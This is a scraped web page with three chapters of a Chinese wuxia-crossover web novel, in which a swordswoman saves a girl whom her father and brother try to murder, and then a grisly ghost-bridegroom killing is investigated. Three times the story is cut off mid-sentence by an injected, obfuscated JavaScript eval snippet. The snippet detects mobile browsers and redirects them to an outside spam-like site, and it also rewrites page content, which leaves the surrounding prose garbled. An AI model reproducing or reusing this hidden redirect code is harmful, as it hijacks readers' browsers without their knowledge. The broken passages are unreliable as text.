虽然昨晚几人搞的动作很大,秋家人多半有所察觉,但无凭无据,料想一时半会儿应该不会跟他们撕破脸。
金流犹犹豫豫,还是勇敢的第一个下筷。
送进嘴里前,她很严肃的说:“如果他们在食物里动手脚,我会非常非常生气。”
幸好,秋全没那么蠢。
金流快快乐乐的扫光了桌上绝大部分美味饭菜,擦擦嘴,用白捡来的金银花水溜溜缝。
这场景桌上几人都不是第一见,但每见一次都依旧会感到震撼。
万灵震感之余,更多的是羡慕。
“我也想跟你一样多吃些,身体更强壮更有力。”
注意到她看向自己那双亮闪闪的眼睛,金流得意洋洋的双手环胸。
“那你要很努力咯,毕竟我这可是从小抢饭练出来的。”
“抢饭?”陆小凤抓到重点,问的委婉,“你生活在很多人的大家庭吗?”
其实这些日子从金流的言行举止,陆小凤隐隐能猜出她从前一定生活在不怎么富裕,甚至可以说是贫穷落后的地方。
可看她挥金如土,自在享受的做派,又让人忍不住怀疑她是个不谙世事的大小姐。
面对陆小凤的问题,金流想了想,面露难色。
“嗯,该怎么说呢,不全是人,也不能说是家庭。”
小时候她被丧尸妈妈们带着,在尸潮里抢口吃的。
妈妈们被杀后,她一个人讨生活,曾经也遇到过一些同行的人类,一起生活过一些时日。
相逢、同行、走散、死亡、再相逢……
末世里,人类也好,丧尸也罢,死亡如附骨之蛆,寻常到没人会为之浪费眼泪和时间。
所以,她从没有过家庭,也从没有过朋友。
金流的言辞含糊而莫名,陆小凤似懂非懂,想要追问,忽然听见一声惊呼。
只见金流从桌子上一跃而过,匆匆往檐下跑去。
天色昏沉,灰蒙蒙的云雾压得很低,一阵寒风刮过,零星落下几颗雪白。
金流站在檐下,摊开掌心等它落下来。
一点晶莹缓缓飘落,接触肌肤的瞬间,融化为一点凉凉的水渍。
这时,有人从身后靠近,指腹轻轻擦干净她手心的水渍,缓缓退开。
金流回头,竟然是一点红。
“下雪了。”一点红收回手,状若无事的抱剑立在一旁。
发现金流仍目不转睛的盯着他,杀手冷白俊朗的脸绷得更紧,他偏过头,脖颈上一条条青紫色经络纵横交错,微妙的粉红从耳根蔓延,慢慢占满整个脖子。
金流感觉牙根隐隐发痒。
这个男人此刻好像很好吃的样子。
她上前一步,没能靠近就被陆小凤扭转身子推到屋外。
“真稀奇。”陆小凤一手按着她的肩膀,一手扶着她的下巴向上抬,让她的眼里只能看见漫天飞雪。“这个时候居然还会下雪。”
万灵也稀奇的在雪里不停转圈圈,伸出两只手想接点雪花细看。
“确实好稀奇。”她没忍住舔了舔手心融化的水渍,脸顿时跟风干几个月的苹果一样皱巴,“瓮城很久很久都没下过雪,十几年了吧,至少从我有记忆起就从没下过雪。”
几人原以为这场雪会很快停下,谁知它越下越大,洋洋洒洒,到了傍晚时分地上竟覆盖了小半掌高的积雪。
过了晚饭时间,还不见送饭侍女的影子,金流急得在门口翘首以盼。
细密雪花阻隔视线,她遥遥望见几个高高低低的模糊人影,兴奋的给屋里其他人报告。
“终于来了……”
随着人影越来越近,越来越清晰,穿破雪白屏障实实在在出现在眼前,金流面上的喜色逐渐僵硬,退化为冷漠。
她收住笑意,眉眼间的阴郁浮现。
“不是晚饭。”她失望的坐回桌前,丧气的趴在桌上。
秋全领着几个人跨过拱门,朝着屋里走来。
他满脸温和笑意,显得很平易近人,实际眼神倨傲,完全没注意到脚下踩着的是金流和万灵特意弄出的雪地画。
人未至,声先到。
秋全谦虚和善的弓手,“几位在府中住的可还顺心,近来忙着售香,招呼不周,还请见谅。”
一行人中没一个搭理他,唯一能够做做样子的陆小凤不得已站出来,与他虚与委蛇一番。
好在秋全明显怀着其他心思而来,只跟他寒暄了两句,就转头看向万灵,长叹一声。
“原来竟是万家姑娘,恕老朽眼拙,前几天竟然没认出来。”
万灵茫然无错,心里却隐隐触碰到一种黑暗可怕的事物。
她开口,几乎是战栗着,“您……见过我?”
秋全摇头,“只见过一次画像,不过……”
“但我相信,他们肯定见过你。”他笑的意味深长,微微侧过身子,露出身后两人的面容。
按理说,下雪时并不会很冷,冷的是化雪时。
然而万灵却突然颤抖起来,瘆人寒意从指尖蔓延到肩膀,最后是牙齿。
对面那两个人什么都没说,只是默默看着她,她就觉得自己勉强拼凑好的骨头再次碎成一滩烂泥。
想闭眼,想抱头,想把自己塞进最隐蔽、最狭窄的角落,成为一块无知无觉的石头。
“爹……”她梦游似的开口,“大哥……”
万父没有回应,压低眉眼,不怒自威。
万大哥笑的开朗,自然的走过去揽住万灵的肩膀。
“小妹,这些天去哪儿玩去了,担心死我们了。”不等万灵回答,他继续道:“外面很好玩吧,我早就劝你多出来走走,老是闷在在屋里多没意思。你愿意出来我们真是再开心不过,只是……”
他手下用力,笑容加深,“只是该跟父兄提前说一声,我们小妹向来最乖巧懂事,从不让我们多操心,这样鲁莽行事,是跟谁学坏了吗?”
“没有,没有跟谁学坏……”听见他含沙射影的讽刺金流他们,万灵纵然怕到极致,也忍不住出声反驳。
万大哥却没给她插话的机会,冲几人点头致歉。
“哈哈,开个玩笑。小妹以前没什么朋友,如今能与各位结交,我实在太开心,说话也失了分寸,各位千万别介意。”
金流不给他面子,准备先讥讽回去,再动手解决。
陆小凤挡住她,压低声音耳语,“毕竟是万姑娘父兄,不要让万灵难堪。”
落他们的面子,为什么会让万灵难堪。
金流不懂。
这俩人一个冷着脸给下马威,一个笑面虎自说自话,算什么家人。
金流懒得看,背身坐回桌边。
见威慑住他们,万大哥又低头亲切的问候自家小妹。
“小妹,咱们回家吧。你一个未出阁的姑娘,住到秋府来算什么个事。若是想和朋友一起玩,把他们请到家里住也是可以的。”
金流实在没忍不住,鼻子哼哼几声,“她才不会跟你们回去。”
“好,我会回家。”
不止是金流,阿飞、一点红和陆小凤也变了脸色,震惊之色溢于言表。
金流揉揉耳朵,起身弯腰凑近,耳朵几乎贴到万灵身上。
“我听错了吧,你刚才说什么?”
万灵低着头,嗫嚅道:“我、回家。”
陆小凤急了,“万姑娘,你难道忘了……”
万灵急忙打断他的话,仍旧低着头大声的说:“我没忘!我没忘……”
怎么可能会忘记。
触摸、压制、凌虐、迫害、摧残。
她竭力想要忘记的,装作若无其事的,试图挣脱逃离的一切。
可是可是,她是淤泥里长出的野草,早就被恶臭脏污腌得透彻,就算被人强拉着扯出来,放肆的呼吸几口自由空气也仍旧会枯死。
况且她实在害怕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431036|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕到只要感受到他们的呼吸,就失去了一切反抗的勇气。
滴答滴答。
泪水大颗大颗,地面很快濡湿一片。
见此情景,沉默许久的万父终于有了动作。
他走近万灵,万灵下意识后退,却被万大哥控在原地。
眼看万父越来越近,万灵双眼紧闭,身体像根随时会断的风筝线一样簌簌发抖。
“唉。”
她听见万父在叹气,眼上覆上一层轻薄密实的布料。
是一方手帕。
“傻孩子。”见她愣愣的接住手帕,万父收回手,“我都知道了,我们回家。”
万灵木头一样看着他,眼泪突然决堤一般涌出,很快湿透了手中的手帕。
“别信他们。”金流顶着万家父子刀子般的目光说。
万灵擦着眼泪,声音轻的差点听不见。
“那我还能信谁。”
如果血脉亲情都完全不可信,那她还能信谁。
不用收拾行李,那几身陆小凤给她置办的衣物,被万家父子嫌弃的抛在一旁。
见她终于止住眼泪,陆小凤还想劝劝,却被金流按住手背。
晚饭姗姗来迟,沉浸在美食中的刀客分出一丝心神,看向唇色苍白,眼眶红肿的少女。
“让她走。”
万灵知道金流在怪她,知道她是烂泥扶不上墙,是朽木不可雕。
趁着父兄不注意,她死死攥住金流的手指,卑微的解释。
“我只是不知道该去哪,只是不知道自己能做什么。我只是……只是个女子。”
这世道,没有她的活路。
更何况在相处的这些日子里,她愈发清晰的感受到自己跟他们不一样。
她不会武功,不聪明,不坚强,她在小小阁楼上长大,长成一无是处的模样。
她现在当然可以死皮赖脸的跟着他们,求他们带她逃离,可他没法永远跟着他们,等到分开后,她就算离开万家,离开瓮城,最后还是无处可去。
金流垂眸看着她,很慢很慢的抽出自己的手指。
“你是人。”
人当然可以选择自己要走的路,至于选的是活路,还是死路,她没立场批判。
万灵一无所有的从万府出来,一无所有的回去。
离开前,她长久的扭头回望,透过垂满绿藤的圆形门洞,凝视那道雪白的身影。
她曾想过成为像金流一样的女子,可她终归不是金流。
入夜,雪还是没停。
厚厚积起的雪压垮枝头,哗啦落下。
金流昏昏欲睡之际,一串急匆匆的脚步踩着雪,沙沙作响的来到门口。
是秋香里。
她面色凝重难看,带来了一个不好的消息。
不久前,万府门口挂上白幡。
陆小凤又惊又怒,“定然是他们杀了万灵!下午接走,晚上便出了事,真是装都不装了。”
一点红面无表情的抱紧了怀中的剑。
只有金流泰然自若的枕着手背,眼皮耷拉着,睫毛颤巍巍晃动。
陆小凤懊恼捶头,“我当时真该拦住她。”
金流长长的打了个哈欠,语气梦一样飘忽。
“良言难劝该死的鬼。”
她的冷漠让陆小凤愤懑不已,“人都死了,何苦还要冷嘲热讽。”
金流无辜的睁大眼睛,“我实话实说,哪里就冷嘲热讽。”
陆小凤不信,“你当真一点不伤心?”
金流头往后,一下一下的轻撞背上赤红的刀柄。
“我们救过她一命,她没有好好珍惜,自己非要找死,当然不值得我伤心。”
末世里天天都有人死,认识的、不认识的,关系好的、关系不好的,要是她个个都伤心痛苦,哪里还有时间找自己的活路。
陆小凤气得不想再跟她说一句话,大步向外迈去。
阿飞抬手挡在他身前,还没开口就被他用力打开。
15. 第十五章
原本陆小凤是打算直接杀去万府,谁知半路却遇上了邕情。
向来成熟稳重,喜怒不形于色的邕大夫踉跄无措的立在万府门口。
任由风雪浇了她一身。
她告诉陆小凤,她曾遇见过万灵。
那是她在出诊的路上,遇见了万家的马车。
万家父子也认识她,停下马车与她寒暄交谈。
当时万灵也坐在马车里,小小一张脸,红的红白的白,像个苦哈哈的小鬼。
她没敢多说话,只是对邕情小声嚅嗫:“我要回家了。”
邕情当然不好当着万家父子的面问她为什么又想回去了,回去之后会不会受到责罚,只能眼睁睁看着马车冒着雪出城。
转身又向前走了好一会儿,邕情忽然生出一个小小的疑问。
既然是回家,为什么要出城?
因为赶着出诊,邕情无暇细想,谁知等再路过万府,门口就挂上了白幡。
那一瞬间,邕情脑袋里挤满了东西。
万家讲究男女大防,以往万家女儿有什么病痛都是请她诊治,万灵是万家女儿中身体最弱的一个,她见万灵的次数比任何一个患者都多。
曾经还是小小的婴孩万灵,她抱过、哄睡过,看过她喝汤药时的泪眼汪汪,听过她被夸懂事时的腼腆笑声。
她是她的患者,也可以说是她的孩子。
如今秋府大门近在咫尺,邕情却不敢进去,她怕在那厚重的棺椁里看见万灵稚嫩的面容。
陆小凤按着她的肩膀,领着她进了万府大门。
万府乱糟糟的,佣人侍从无头苍蝇般乱转,没人理会突兀出现的二人。
二人径直走到大厅,却见里面摆着两口棺材。
陆小凤脚步一顿,心中疑窦丛生,他正要上前细看,却见一道素白的身影从帘后闪出。
“是你?”他又惊又喜。
万灵也愣住了,但很快反应过来,冲二人微微摇头。
“多谢二位来为家父家兄吊唁。”她捏着手绢擦擦红肿的眼眶,鬓边的小白花也颤巍巍晃动。
陆小凤,“啊?啊……啊!”
假模假样为万家父子吊唁一番后,回到秋府后夜已深沉。
陆小凤游魂似的飘到金流窗边,沉思几息后,猛的推开窗户,怒声道:“金流你是不是早就知道万灵没出事!我说你们俩那时鬼鬼祟祟的出门干什么!”
被强行从床榻捞起来的金流,有气无力的把脑袋搭在阿飞肩上。
“嗯,知道啊。”
陆小凤怒视阿飞,“你也知道?”
阿飞点头,举起还泛红的手,“我拦了你,你打我。”
质问哽在喉间,见他俩早有准备,陆小凤灵光一闪。
两撇胡子一扬,声音格外阴阳怪气。
“哟,不知是谁说的良言难劝该死的鬼~”
金流垂眸,眼神飘忽,唇线抿得笔直,好半天才听见她哼哼唧唧的声音。
“是我说的又怎样。”
这里又不是末世,今天救了明天又死。
救下万灵,她至少能在这个安安稳稳的世界里多活六十年,不算白费力气,例外一下又如何。
再说,她还欠万灵一顿饭。
万府,烛光整夜未熄。
作为万家如今唯一的主人,万灵需要整夜守灵。
跪坐在软垫上,父兄的尸体就在近旁,她没有多少恐惧,反而多的是困倦。
困意像稠粘的沼泽,纵使下半夜冷的过分,她还是头靠着棺木睡去,被拽着沉入古怪的梦境。
梦里她又回到那驾摇摇晃晃的马车,身旁是不苟言笑的父亲和开朗爱笑的大哥。
她低头,看见自己手中捏着一方湿漉漉的手帕。
她抬头,又怕又惊又喜又忧,千回百转,愁肠百结,心惊胆战,如履薄冰。
“我……”
她刚一开口,就见大哥笑眯眯的将手指竖在唇边。
“嘘。”大哥眉眼弯弯,说话的声音又清又脆,“妹妹啊妹妹,你真是我最麻烦的妹妹。”
她心乱如麻,不知如何回话。
好在大哥也不用她回话,自顾自的说了下去。
“你从小就很乖很听话,家里那么多女孩,我也只把你当亲妹妹,你为什么要做出这种丑事。”
他苦恼的敲敲额角,“既然做出了丑事,又什么要活着丢人现眼。”
“不是我的错。”她哽咽开口,“我是被强迫的!”
“嘘。太吵了妹妹。”大哥掐住她的脖子,顺手夺过她手中的手帕,按在她口鼻上。
她双手用力想掰开大哥的手,双脚无力挣扎,她看向父亲,却望进他冷漠厌倦的眼中。
“本来不值当在你身上浪费这么多精力,再说你以前确实很乖,我想过放你一马的,偏偏还留了把柄,你的发簪都让人送到了家里。”大哥笑着加重力道,手背青筋暴起。
“多丢人啊,妹妹。”
不是我的错。
可那不是我的错啊!
她挣扎的力道逐渐变弱,手脚颓然垂下,慢慢闭上眼睛。
赶车的家丁勒马,告诉他们到地方了。
大哥掀开帘子,把她扔下马车,家丁拽着她的上半身,拖着她往芦苇丛中走去。
天空破碎斑驳,她隐约看见大哥还在冲她笑,父亲却没再看她一眼。
她闭上眼就要陷入黑暗,家丁将她随手一抛,她滚落在雪地上,在脏污的泥沼上最后睁开一点眼睛。
细细小小的一条缝隙,只看得见细细小小的一线光景。
雪落在她眼皮上,她多了一丝清明。
她看着层层叠叠的芦苇,想起从前的十几年里,她透过层层叠叠的房檐望见的也是这样一小块零星的、并不怎么湛蓝的天空。
她想起姐姐们,想起她们惨死的模样,想起大哥的告诫和夸奖。
要听话,要乖巧,要柔弱,要无害,要做一朵供人欣赏的花,要当一件能交换到利益的摆件。
总之,要笑着对男人安排的一切说“好”。
她看见一片光怪陆离的斑斓色彩,缩小扩大,扩大缩小,最后凝结成为一抹猩红。
颤巍巍的,是一朵簪在辫尾,怎么也不凋谢的红山茶。
她伸手想够住,生命却在此刻永远定格。
最后,她想,她和姐姐们不会像大哥说的那样因逆反或不洁永远沦入炼狱,不会被烈火炙烤,不会生生世世做人脚底下被践踏的砖。
因为那都是男人应该永远铭记的罪孽,而不是成为她们刻骨铭心的噩梦。
因为,她们无罪。
屋檐上,一块积雪滑落,撞得破碎。
万灵惊醒坐起身,定定的看着面前冷硬的棺材和摇曳的烛火。
棺木是临时买的,不大合身。
里面躺着的父兄蜷缩着手脚,苍白僵硬,不复以往的霸道强硬。
“是梦吗?”
脖颈上紫红的掐痕被领口掩盖,疼痛隐隐袭来,让她又想起不久前的惊险时刻。
“多丢人啊,妹妹。”
她挣扎的力道逐渐变弱,手脚颓然垂下,慢慢闭上眼睛。
突然她听见大哥惨叫一声,松开手。
她睁开眼,看见一只手扒在车窗上,金流的声音隔着车帘传来。
“最后……一次。”
车帘被掀开,寒风吹着雪花,凉凉的在她面上融化。
白衣刀客对她伸出手,鬓发被薄汗濡湿,荡起的发辫擦过她的脸颊。
“回去,还是跟我走?”
是回去做万家听话乖巧的女儿,还是做无依无靠自生自灭的万灵。
万灵这次没有犹豫,她握住金流的手,用尽所有力气。
这一次,她要救自己。
父亲和大哥当然不愿放过万灵,金流说只要三颗珍珠,就可以帮忙她解决所有麻烦。
万灵答应给金流三颗珍珠,却没有给金流拔刀的机会。
原来只要被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431037|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捆住手脚,哪怕是威严的父兄也会和从前的她一样,成为任谁都可以欺凌的待宰羔羊。
最后,她压紧牙关把车夫的尸体推下马车,捧着雪擦干净染血的簪子,挥别金流,独自架着马车回到城里。
她声泪俱下的告诉万府其他人,她们出行时遇到了鬼新郎,父亲和大哥为了保护她被鬼新郎害死,危机时刻是金流出现才救了她的性命。
没有质疑她的话。
毕竟死人什么都做不了,现在的万府只剩她一个主人,她的话就是真理。
天快蒙蒙亮时,万灵又迷迷糊糊的睡着了。
恍惚中,她看见金流在与邕情说话。
挂着白灯笼的万府门前,邕情肩上落着一层雪。
“他们去城外了。”
邕情按着心口平复喘息,“我偷偷去看了,没有……棺椁里她的尸身,说不定她还活着,也许他们不会那么狠心。”
金流闭眼,良久后叹了口气。
“我还欠她一顿饭,只能跑一趟了。”
地上的雪已经很厚,天上的雪还一直在下,冷得人直打哆嗦。
邕情借了匹马给金流和阿飞,二人骑马向城外而去。
夜色浓得似熬干的糖水,粘稠的流淌,白茫茫一片芦苇荡,瞅不见半分边界,听不见一声虫鸣。
远远浮起一抹暖黄色光点,摇曳着穿进枝枝叶叶中,随后便传来积雪落地声、嘎吱踩雪声和芦苇折断声。
高而瘦的红马打了个响鼻,喷出白雾。
阿飞搓了搓手,握紧手中的缰绳,一步一步,谨慎而踏实的踩着芦苇前行。
“你冷不冷?”
金流裹着厚厚的大氅,下半张被暗红色的绒毛簇拥掩藏,露出一双黑如点墨的眼睛。
她一手撑着马鞍,俯身看向为她牵马的少年,簪着花的长辫落下,引得马儿不住的扭头去咬。
指节冻的僵硬,鞋袜因踏雪濡湿,寒意由外向内绞缠,阿飞发现瓮城的雪比大漠的雪更具杀伤力。
好在他最擅长忍耐。
他摇头,从马儿口中夺回金流的发辫,小心翼翼的安放在她马鞍上。
“不冷,就快到了。”
二人一路追循的马车印在芦苇荡边缘消失,原本整齐的芦苇被压出一条弯弯曲曲的痕迹。
阿飞下马,举着火把,牵着缰绳开路。
一路往深往里走,雪越来越厚,一脚踩进去,能陷到膝盖。
走着走着,马停下脚步,不肯前行一步。
金流翻身下马,雪白的大氅融入雪地,颈上的绒毛红的愈发热烈。
她拿过阿飞手中的火把,借着光弯腰在雪地上摸索。
掌心触到的雪冰寒彻骨,她趴在雪上摸索了很久很久,指尖忽然感受到一点古怪的触感。
火光下压,她看清了,是一点苍白的指尖。
阿飞想来帮忙,金流抓住他的手腕,把火把塞还进他手中。
“我来吧。”金流说。
干干净净的雪落进脏污沼泽,掩埋了被随意丢弃的姑娘。
埋在她身上的雪很深,身下被她压着的雪却不多。
躺着的姑娘又太瘦,瘦到薄薄的雪一层一层积蓄,她竭尽全力伸出手,最后也只能露出一点指尖。
刀客半跪着将少女凌乱的发丝挽到耳后,摩挲她冰冷的脸颊。
万灵看见那张青白的脸。
是她的脸。
脱下大氅,紧紧裹住万灵的尸体,金流将她打横抱起,一步一步踩着来时的路走出芦苇荡,阿飞牵着马紧随她身后。
“小姐……小姐……快醒醒……”
熟悉的声音将她从梦中唤醒,是跟她一起守灵的丫鬟。
半梦半醒的万灵揉着酸痛的膝盖站起,朝阳橘红的光芒落在她肩上。
她转身直面热烈的晨光,全然清醒了。
也许,那不止是一场梦。
也许真的有一个她孤零零的死在雪地。
幸好幸好……
16. 第十六章
天将明未明时,雪终于停了。
金流睡眼朦胧的趴伏在窗棂上,夹着雪气的寒风飕飕刮过面颊,混沌不明的思绪逐渐清明。
接过阿飞递来的热帕子敷在脸上,她瓮声瓮气埋怨。
“世间最可恶的就是半夜扰人清梦的人。”
几乎一夜未眠的陆小凤顶着两个青黑眼圈,看她这副懒散模样,不由得恨恨咬牙。
“真是抱歉啊。不过要是某位大小姐愿意提前知会我一声,我也不是非要闲着没事干,大半夜冒着风雪来来去去,扰人清梦。”
好像的确是自己不占理,金流也不敢再顶嘴,扯下帕子,眼珠心虚乱转,干咳几声,扯开话题。
“嗯……那个我们今早吃什么?”
饭厅中,侍女们正将早饭往桌上摆,热气氤氲,香气四溢。
为了隔绝雪后的寒气,所有饭食都贴心的用盖子遮盖的严严实实。
眼见客人们落座,侍女才一一揭开盖子,喷香热气顿时氤氲不散。
最后一道汤羹尤其烫手,侍女隔着布帕缓缓揭盖,眼前却突兀的出现一抹血红。
“啊!”
被惊叫声吓了一跳,金流飞快咽下嘴里的包子,下意识的用胳膊圈住面前的饭食。
一点红反应最快,剑尖轻挑即将落地的瓷盖,右手稳稳当当接住,放回桌面上。
陆小凤将侍女拨到身后,用筷子挑起汤碗中的东西。
轻飘飘,晃晃荡,红的刺眼,红的古怪。
他立刻认出了这样东西,眸色一沉。
安抚好受惊的侍女,又将她们全部支走后,陆小凤将那方红盖头交到金流手中。
金流捏着这片红布,眯着眼睛反复查看,最后得知出一个结论。
“有钱,真是有钱。”
赤红的布料丝滑柔顺,更别说上面用金丝银线细密织绣成的华美花纹。
她嘴里啧啧称叹,指腹流连在金灿灿的丝线上,心想这要是拿出去卖能换多少银钱。
摸着摸着,突然察觉一丝异样。
雪后初晴,窗外日光略显惨淡。
金流举起手中的红盖头,对着不甚明朗的日光。
红布之上,金银两色花纹交织错落,乱中有序。
陆小凤也凑过来细看,犹豫道:“好像是……一朵花?”
“不止。”金流摇头,指尖顺着金线行进的方向游走,最后停在一处金银交汇之地。
“还是一幅地图。”她心下了然,挑眉一笑,“有人约我们在此地一会。”
明知送来盖头之人不怀好心,众人再三商议,还是决定赴约。
好不容易得到线索,就算前方有坑,也得去试试深浅。
盖头上指示的地方在瓮城最南端,荒芜僻静,四周满是被雪埋了一半的低浅灌木和残垣断石。
阿飞行在金流身前,为她踩出一条小路。
陆小凤刨开积雪,翻开倒塌的院墙石块,仔细端详指尖上的黑灰。
“这里起过一场大火。”他起身四望,只见雪白一片,“之前应该是座大宅子,不知为何被一场火烧了个精光,瞧这样子应该是好几年前的事了。那人引我们到这干什么,是想把我们一网打尽?”
金流嗤笑,“他要是有这个胆子,也不会每次见到我们就跑。”
一直抱剑不语,默默跟随的一点红突然停下脚步,侧耳倾听。
“怎么了?”金流探头问。
一点红皱眉,“风声不对。”
金流凑过去,学着他的模样静心聆听。
风吹过雪地,扫落细雪,悉悉索索……
不对!
她朝前快走几步,风声越来越沉闷,鼻尖的清凉的雪气渐淡,一点点霉味顺着风吸进肺中。
瓮城四面环山,此地逼近城外,地势起伏巨大,此刻脚下踩着的还是平地,若往前几步便成了拔地而起的山林。
几人顺着风声向前,走到一处山壁,拨开积雪灌木,眼前赫然出现一处洞穴。
穴口挡着的石块已经坍塌了一大半,风声和霉味正是由此传出。
陆小凤投石问路,很快洞里就传出石块敲击墙壁的声音。
“应该不深,我先进去看看。”
火折子的微光映着鲜红的披风,越走越远,越走越深,越走越暗。
先是平地,而后向下,好一会儿才从洞中传来声音。
“你们快进来!”
金流几人也举着火折子向前,小心走下湿滑的楼梯,经过一处急转弯道,手中的火光却忽然变小。
“嚯!”金流忍不住惊呼,“真是好大一个洞!”
原来不是火光变小,而是洞忽然变得开阔。
窄小石梯之下,是一间及其广阔的石室,比他们客居秋府的院落还要大一倍。
陆小凤往里走了很深,此刻正在前面对他们挥手,微弱的火光随着他的动作上下浮动摇晃。
“你们往这来,来看这个。”
几人走到近前,才明白他在惊讶什么。
原以为已经很大的石室,其实还有几条通道。通道狭窄幽深,不知连接着何方。
“一、二、三、四、五、六……”金流手指一顿,“七。”
“我倒想见识见识他使了什么手段,设下了什么陷阱。”她看向其他人,跃跃欲试,“一人一条?”
最爱凑热闹的陆小凤当然鼓掌同意,一点红也没什么意见,阿飞却扯着她的衣袖,面色沉郁。
“我跟你一起。”
“啧啧。”
见阿飞循声瞪向自己,陆小凤摸了摸自己的两撇小胡子,笑着揽过他的肩膀。
“阿飞小兄弟果然还是年少,让我来教教你,男人太过粘人可是会被厌烦的。”
阿飞才不想听他自以为是的经验,固执的看着金流。
“我想跟你一起。”
灯下看美人,越看越美,被美色迷倒的金流自然说不出拒绝的话。
于是四人分成三组,各选一条通道进去探秘。
金流和阿飞选了最中间的那条,陆小凤选了最左边的一条,一点红选了最右边的一条。
越往里走,腐败的霉味便越浓重。
金流揪着袖口捂住口鼻,一步步谨慎向前。
脚下的地面越来越湿滑泥泞,两侧的石壁上满是青苔,偶尔能听见小动物受惊后或爬或飞的响动。
走了好一会儿,面前又出现一条岔路,金流随便选了一条准备往前,却被阿飞拽住。
自发现这个石洞开始,一股怪异的熟悉感便萦绕在阿飞心头,越来里走,这感觉便越深重。
他一定去过和这里相似的地方。
霉味之下,似乎还有一股极淡极淡的气味。
他冥思苦想,直到此刻脑中才灵光一闪。
“地窖!”
是秋府地窖!
同样的阴暗潮湿,四通八达,而且那股浓烈的霉味下,是淡淡的紫烟香味。
金流一点就通,“紫烟香制成后需要密封窖藏一月,才能成香。如果我没猜错的话,这里应该是一个废弃的藏香洞。”
瓮城只要是制香的人家,基本都有这样一个藏香洞。
小门小户可能就在后院挖个地窖,大户人家每年藏香成千上万,挖个这样大的山洞也不足为奇。
两人先往右走,又是一条狭长通道。通道尽头是一座不大的石室,里面放着好些空罐子,凑近了还能闻到罐子里残存的紫烟香香气。
没什么收获,二人便又原路退回,走向左边的通道。
仍旧是一条漆黑狭长的道路,走到尽头时,举着火折子的金流“咦”了一声。
眼前不再是毫无遮拦的石室,而是一道厚厚的石门。石门雕刻有把手,阿飞扯着把手用力往里一推,石门发出咯吱响声,缓缓打开。
石门完全打开,内里漆黑一片。
在通道里随手捡了块石头抵住门后,金流才继续往前探索,走着走着脚步逐渐放缓。
石室最里面,漆黑无光的暗处,有一道人影靠墙站的笔直。
紧握着铁片似的长剑,阿飞浑身紧绷,下意识侧身挡在金流身前。
金流从阿飞身后探出脑袋,把火折子举近点,最先看见的是那人身上鲜红的长袍,火光慢慢往上,露出更多。
“怎么是你?”
怎么会是这人?
金流有些不敢置信,秋府四人,她其实第一个排除了这人的嫌疑。
毕竟聪明的恶人和愚蠢的恶人,实在太好分辨。
“你就是那个所谓的鬼新郎?”她脸纠结成一团,“秋武里。”
微光明灭,角落里的秋武里半身处在黑暗中,瞧不清神色。
面对金流的质问,他不说话,只是睁着眼睛,直勾勾、恶狠狠的瞪着二人。
金流绕开阿飞走到正前方,不渝道:“什么意思?把我们约过来又不说话?”
眼见金流逐渐逼近,秋武里很慢很慢的低下头,身上的新郎红袍华贵繁琐,高高的领子掩住他向来桀骜的下巴。
黑暗中忽然传来一声脆响,秋武里身子猛地向前,朝金流扑过来。
阿飞的剑快的在暗色中划过一道银光,剑气激荡,直指秋武里。
剑尖刺破了他的心中,却没有停住,而是不断往前,往更深处去,直到“噗嗤”一声,穿透了整个身体。
只是还没停,秋武里不断往下倒,身体划过整个剑身,直到金流伸手抵住,才终于停下。
“滴答、滴答……”
冷而腥的水珠一滴滴落在眼角,又滚落到鬓发之中,金流往侧边一个丝滑的扭身,从阿飞和尸体的夹缝中挣扎出来。
火折子仍在她手中,只是被突然袭来的气流熄灭,她吹了几下,火光再次亮起。
看清面前的状况后,她苦恼的扯了扯辫尾。
事情突然复杂起来。
此刻,一些秋武里正服服帖帖的插在阿飞剑上,一些秋武里却还靠着石壁恶狠狠瞪着他们。
小心翼翼的为金流擦干净滴落在面上的血迹后,阿飞仔仔细细的探查了整个石室。跟旁边的一样堆满了空罐子,不同的是靠门的角落放着一块用来整理配香的巨大石台。
把剑从尸体上拔出来还需要耗费一些气力,毕竟这还是他第一次像烤肉串一样刺到了剑柄。
金流围着墙边的脑袋绕来绕去,啧啧称叹。
“看起来刚死不久,脖子上的伤口还挺新鲜。首身分离,砍了不下七刀,下刀的人没啥力气啊。
原来是在耳朵和头顶各打了两个洞,用红线穿过把脑袋挂在墙上。”
阿飞翻看完倒在地上的身体,补充道:“身上没有致命伤,后背衣服上有水渍和碎冰。”
“下雪天冷,用水凝成冰把人定在墙上,还挺有想法。”金流忍不住鼓掌,动作间,忽然察觉到异样。
她翻看着手掌,又凑近了嗅闻。
腐败的霉味和腥臭的血
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431038|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味,掩盖着另一种奇异的味道。
是香味?
